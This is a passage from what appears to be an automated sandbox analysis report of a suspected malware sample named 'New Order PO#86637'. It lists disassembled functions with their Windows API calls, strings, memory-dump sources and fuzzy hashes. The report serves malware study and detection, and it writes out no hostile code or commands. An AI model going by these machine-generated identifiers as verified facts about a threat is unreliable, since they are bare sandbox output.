GetMenuItemInfoW.USER32 ref: 0045FAC4
DeleteMenu.USER32(?,?,00000000), ref: 0045FB15
DeleteMenu.USER32(00000000,?,00000000), ref: 0045FB68

Strings

0, xrefs: 0045FAA1

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 44596b6c283006d3404d95c3e5e16104138b05286e513df4f299336d423ce3c8
Instruction ID: 2caf7e1b7ae413ca61a5456c92b2eab9e90ede26a48057f627e29f4096114103
Opcode Fuzzy Hash: 44596b6c283006d3404d95c3e5e16104138b05286e513df4f299336d423ce3c8
Instruction Fuzzy Hash: CC41D2B1604201ABD710CF25CC45F17B7A9AF84315F148A2EFDA49B2C2D378E849CBA6

Function 004507B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 0045085F
GetWindowLongW.USER32(?,000000F0), ref: 0045087D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0045088E

Strings

SysTreeView32, xrefs: 0045082E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 6654344cdbbec2ecb5663208c63790126aca218b871aedcbee15bef271784643
Instruction ID: 2f6c96d6d770cdd7f6b01965cae739f5ffbb06f7b8c4bfc7c6bf121f6b9a1f40
Opcode Fuzzy Hash: 6654344cdbbec2ecb5663208c63790126aca218b871aedcbee15bef271784643
Instruction Fuzzy Hash: 34418D75500205ABEB10DF29DC84FEB33A8FB49325F20471AF865972D1D778E895CBA8

Function 00434B02 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 108libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 00434B10
GetProcAddress.KERNEL32(?,AU3_GetPluginDetails), ref: 00434B88
FreeLibrary.KERNEL32(?), ref: 00434B9F

Strings

AU3_GetPluginDetails, xrefs: 00434B82

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: AU3_GetPluginDetails
API String ID: 145871493-4132174516
Opcode ID: 525874d34911f66d3e6dd89a42f64d0fb8abb6a055dcd3ee386d4a3c405b38ac
Instruction ID: fc8523f5daf935d660d2a9c884068eb8da3e2fc1adb06f3317e0194b47a185ca
Opcode Fuzzy Hash: 525874d34911f66d3e6dd89a42f64d0fb8abb6a055dcd3ee386d4a3c405b38ac
Instruction Fuzzy Hash: C24107B9600605EFC710DF59D8C0E9AF7A5FF89304B1082AAEA1A8B311D735FD52CB95

Function 00450D6B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00450DFD
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00450E16
SendMessageW.USER32(?,00001002,00000000,?), ref: 00450E3E

Strings

SysMonthCal32, xrefs: 00450DC6

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: aa3fdffd2c37c9d1283d502314bb1f920e47acbbfa02c8d10baeab348a12d0cc
Instruction ID: 97bf4b40409f6c90460d1384a7672ac630dd7a2161d32aee0dcf483843136ede
Opcode Fuzzy Hash: aa3fdffd2c37c9d1283d502314bb1f920e47acbbfa02c8d10baeab348a12d0cc
Instruction Fuzzy Hash: A93195752002046BDB10DEA9DC85FEB73BDEB9C724F104619FA24A72C1D6B4FC558B64

Function 004509D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00450A2F

Strings

msctls_updown32, xrefs: 00450A12

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: DestroyWindow
String ID: msctls_updown32
API String ID: 3375834691-2298589950
Opcode ID: ede3ba3c4388c74c76a3cd747824982d62f6d25d37162a4df1ebcaa7ffb6df4e
Instruction ID: fccd3fcc05e4e2aaf5990a1cc96ccc3c6d01ef6560d5fec67e6c7c3c5f699695
Opcode Fuzzy Hash: ede3ba3c4388c74c76a3cd747824982d62f6d25d37162a4df1ebcaa7ffb6df4e
Instruction Fuzzy Hash: 213182767402056FE710DF58EC81FAB3368FF99710F10411AFA009B282C7B5AC96C7A8

Function 0044DC13 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044DAD9
_memmove.LIBCMT ref: 0044DAE8

Strings

, xrefs: 0044DC1A
<, xrefs: 0044DC13

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID: $<
API String ID: 4104443479-428540627
Opcode ID: 6c7976b20de454da7fe1266d8cf8ce191b2ccd068f9cf911d6d19d23786630cd
Instruction ID: e8c4ca86f7ae52158d8313b00b6d431508e51e3fea12eaab667d4a9530e7d8b8
Opcode Fuzzy Hash: 6c7976b20de454da7fe1266d8cf8ce191b2ccd068f9cf911d6d19d23786630cd
Instruction Fuzzy Hash: A331EF30D04258DEFF25CFAAC9847EEBBB1AF11310F18419AD455A7382D7789E48CB25

Function 0045D779 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D79D
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?), ref: 0045D812
SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D85C

Strings

\VH, xrefs: 0045D7F6

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID: \VH
API String ID: 1682464887-234962358
Opcode ID: e9044521b94c7a2fd6e775d53faddef87f956e6addecf71534c1072a2e4d61eb
Instruction ID: 72795a51c8fd7a71edb0939b11d44c3a5eb04741920228a3d2c34b8a4a3992bf
Opcode Fuzzy Hash: e9044521b94c7a2fd6e775d53faddef87f956e6addecf71534c1072a2e4d61eb
Instruction Fuzzy Hash: B5217171D002089FCB00EFA5D98499EBBB8FF48314F1184AAE805AB351D7349E05CB64

Function 0045D78F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D79D
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?), ref: 0045D812
SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D85C

Strings

\VH, xrefs: 0045D7F6

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID: \VH
API String ID: 1682464887-234962358
Opcode ID: 02922531bbe1fdf38ecd1c48401d7894eac39f8171a3426d51aa67f0eafe79b3
Instruction ID: ae55674c87016058c86dc8d4ad6f5a536cd264dc70ae423c542bf2f5a0a67e7a
Opcode Fuzzy Hash: 02922531bbe1fdf38ecd1c48401d7894eac39f8171a3426d51aa67f0eafe79b3
Instruction Fuzzy Hash: C9316F75E002089FCB00EFA5D985A9DBBB4FF48314F1080AAE904AB351CB75EE05CB94

Function 0045D86D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D87B
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?), ref: 0045D8F0
SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D93A

Strings

\VH, xrefs: 0045D8D4

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID: \VH
API String ID: 1682464887-234962358
Opcode ID: 657bf3a7bf4e4b0879eb54f11f0d4a47d1274a72e537d3786cc0042974389a76
Instruction ID: e5212c229d9c2069cdfe567d9572a18bb695f81ecf44ad0a977260396f8f3e20
Opcode Fuzzy Hash: 657bf3a7bf4e4b0879eb54f11f0d4a47d1274a72e537d3786cc0042974389a76
Instruction Fuzzy Hash: E6316D75E002089FCB00EFA5D984A9EBBB4FF48314F1084AAE904AB351CB35DE05CB94

Function 0045D36D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D37E
GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3F4
SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D437

Strings

\VH, xrefs: 0045D3C0

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: \VH
API String ID: 2507767853-234962358
Opcode ID: 3e53e890434f9ea80ffb8b8b8863db28d9ef5c2317443d22617d365319ccab8e
Instruction ID: 9072e4f9bd6fffdf4d5f5b526d3ef1379cf95bcdbb04681c41660468616ecd75
Opcode Fuzzy Hash: 3e53e890434f9ea80ffb8b8b8863db28d9ef5c2317443d22617d365319ccab8e
Instruction Fuzzy Hash: E5213075A002099FC714EF95CD85EAEB7B8FF88300F1084AAE905A73A1D774EA45CB54

Function 0045D53E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D55C
GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D5D2
SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D608

Strings

\VH, xrefs: 0045D59E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: \VH
API String ID: 2507767853-234962358
Opcode ID: d1fa58eff2fbb7cc6c51b85e489fdb3630b63cb8eb333212ecdab13a3ad88969
Instruction ID: 5d1496e5fec29648c5677f840c6a5ff7f703137340fc9510fe584f3610dc7e3a
Opcode Fuzzy Hash: d1fa58eff2fbb7cc6c51b85e489fdb3630b63cb8eb333212ecdab13a3ad88969
Instruction Fuzzy Hash: 88218271A00209AFC714EF95C885EAEB7B4FF48300F0084AEF505A72A1D774E905CB58

Function 00450ACC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00450B3B
SendMessageW.USER32(00000000,00000406,00000000,00640000), ref: 00450B51
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00450B5F

Strings

msctls_trackbar32, xrefs: 00450B10

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: b7bd052b599063d2228b5cfe26d5df8f76e43bb35df486dd72efd91b953fbf0c
Instruction ID: cc80dcb7cd3031ad5716ab9229ca2671b5dcb2452333e47e40e099fef7a03d8b
Opcode Fuzzy Hash: b7bd052b599063d2228b5cfe26d5df8f76e43bb35df486dd72efd91b953fbf0c
Instruction Fuzzy Hash: 301196757403197BEB109EA8DC81FDB339CAB58B64F204216FA10A72C1D6B4FC5187A8

Function 00435215 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

CLSIDFromString.OLE32(?,00000000), ref: 00435236
SafeArrayAccessData.OLEAUT32(?,?), ref: 00435285
SafeArrayUnaccessData.OLEAUT32(?), ref: 004352B4

Strings

crts, xrefs: 00435292

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ArrayDataSafe$AccessFromStringUnaccess_malloc
String ID: crts
API String ID: 943502515-3724388283
Opcode ID: 1c951fdfbdf5c5f88c618ab4611406fe4b678f9348836ee2954194ca176c3974
Instruction ID: ec3ec3aa447b477297a9cb7ebc6a7fbeb91602aa87849f29064a6671b92f781e
Opcode Fuzzy Hash: 1c951fdfbdf5c5f88c618ab4611406fe4b678f9348836ee2954194ca176c3974
Instruction Fuzzy Hash: EC213876600A009FC714CF8AE444D97FBE8EF98760714C46AEA49CB721D334E851CB94

Function 0045D2C7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D2D2
SetVolumeLabelW.KERNEL32(?,00000000), ref: 0045D331
SetErrorMode.KERNEL32(?), ref: 0045D35C

Strings

\VH, xrefs: 0045D314

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorMode$LabelVolume
String ID: \VH
API String ID: 2006950084-234962358
Opcode ID: 06ec5ceac71ab965c19bbe619e509a4f86e9865fc889b709aa917be6b1aab059
Instruction ID: 93ef07912bcba266d24f4400c0aa25f887f93b2782b8649f9ae8f5902fc9f078
Opcode Fuzzy Hash: 06ec5ceac71ab965c19bbe619e509a4f86e9865fc889b709aa917be6b1aab059
Instruction Fuzzy Hash: 10115175900105DFCB00EFA5D94499EBBB4FF48315B1084AAEC09AB352D774ED45CBA5

Function 004496E9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

GetMenuItemInfoW.USER32 ref: 00449727
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00449751
DrawMenuBar.USER32 ref: 00449761

Strings

0, xrefs: 00449709

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Menu$InfoItem$Draw_malloc
String ID: 0
API String ID: 772068139-4108050209
Opcode ID: 1167fa92614d233b3003e6fb28f1152d6dc9f7ab2b98f531c98f2f78594b2958
Instruction ID: eb12e692e9d899ed3776fa10421b592e4983edb38958d2313c52402e3f8558b6
Opcode Fuzzy Hash: 1167fa92614d233b3003e6fb28f1152d6dc9f7ab2b98f531c98f2f78594b2958
Instruction Fuzzy Hash: 7711A3B1A10208AFEB10DF55DC49BAFB774EF85314F0041AEFA098B250DB759944DFA5

Function 00472A2B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 00472A37
_wcslen.LIBCMT ref: 00472A47
_wcslen.LIBCMT ref: 00472A8D

Strings

3, 3, 8, 1, xrefs: 00472A31

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcslen$_wcscpy
String ID: 3, 3, 8, 1
API String ID: 3469035223-357260408
Opcode ID: 12b73319f7521ef091ea4856e2d9fc07411b991347f193140c1b9c5819a8a9d6
Instruction ID: 583e1dd4926d5dc430cd1974fab242c37593855fc3f83b6d902887b8cb8118b3
Opcode Fuzzy Hash: 12b73319f7521ef091ea4856e2d9fc07411b991347f193140c1b9c5819a8a9d6
Instruction Fuzzy Hash: 44F06D61510655E2CB34A791AD917FF72546F44341F00947BD90ED2190F368CB85CF99

Function 004312CC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ICMP.DLL), ref: 004312DE
GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 004312F0

Strings

ICMP.DLL, xrefs: 004312D9
IcmpCloseHandle, xrefs: 004312EA

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
